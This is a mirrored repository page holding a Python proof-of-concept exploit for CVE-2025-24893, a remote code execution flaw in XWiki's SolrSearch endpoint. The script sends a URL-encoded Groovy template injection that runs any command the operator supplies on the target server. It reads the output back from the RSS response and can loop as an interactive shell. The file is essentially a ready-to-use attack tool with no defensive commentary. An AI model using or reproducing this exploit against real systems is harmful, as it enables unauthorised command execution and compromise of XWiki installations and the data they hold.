mirror of
https://github.com/andwati/CVE-2025-24893.git
synced 2026-11-16 21:45:14 +00:00
77 lines
2.1 KiB
Python
77 lines
2.1 KiB
Python
#!/usr/bin/env python3
|
|
from pwn import *
|
|
import requests
|
|
import re
|
|
import html2text
|
|
|
|
context.log_level = "info"
|
|
|
|
def exploit(url, command):
|
|
payload = (
|
|
f'%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d'
|
|
f'%7b%7bgroovy%7d%7dprintln("{command}".execute().text)'
|
|
f'%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d'
|
|
)
|
|
full_url = f"{url}/xwiki/bin/get/Main/SolrSearch?media=rss&text={payload}"
|
|
|
|
log.info(f"Sending payload to: {full_url}")
|
|
try:
|
|
response = requests.get(full_url, timeout=10)
|
|
except requests.exceptions.RequestException as e:
|
|
log.error(f"Connection error: {e}")
|
|
return None
|
|
|
|
# Extract [}}} and ]
|
|
match = re.search(r'\[\}\}\}(.*?)\]', response.text, re.DOTALL)
|
|
if match:
|
|
raw_output = match.group(1).strip()
|
|
output = h2t.handle(raw_output).strip()
|
|
return output if output else None
|
|
return None
|
|
|
|
|
|
def shell(url):
|
|
log.success("Dropping into interactive shell (type commands, Ctrl+C to exit)")
|
|
while True:
|
|
try:
|
|
cmd = input("$ ")
|
|
if not cmd.strip():
|
|
continue
|
|
output = exploit(url, cmd)
|
|
if output:
|
|
print(output)
|
|
else:
|
|
log.warn("No output (maybe empty command result?)")
|
|
except KeyboardInterrupt:
|
|
log.info("Exiting shell.")
|
|
break
|
|
|
|
|
|
def main():
|
|
url = args.URL.rstrip("/")
|
|
command = args.CMD
|
|
|
|
if command:
|
|
out = exploit(url, command)
|
|
if out:
|
|
print(f"\n[+] Command output '{command}':\n")
|
|
print(out)
|
|
else:
|
|
log.warn("Command executed but returned no output.")
|
|
else:
|
|
shell(url)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
h2t = html2text.HTML2Text()
|
|
h2t.ignore_links = True
|
|
|
|
parser = argparse.ArgumentParser(
|
|
description="Exploit XWiki SolrSearch RCE (CVE-2025-24893)"
|
|
)
|
|
parser.add_argument("-u", "--url", dest="URL", required=True, help="Target URL, e.g. http://10.10.10.10:8080")
|
|
parser.add_argument("-c", "--command", dest="CMD", help="Single command to run, omit for interactive shell")
|
|
args = parser.parse_args()
|
|
|
|
main()
|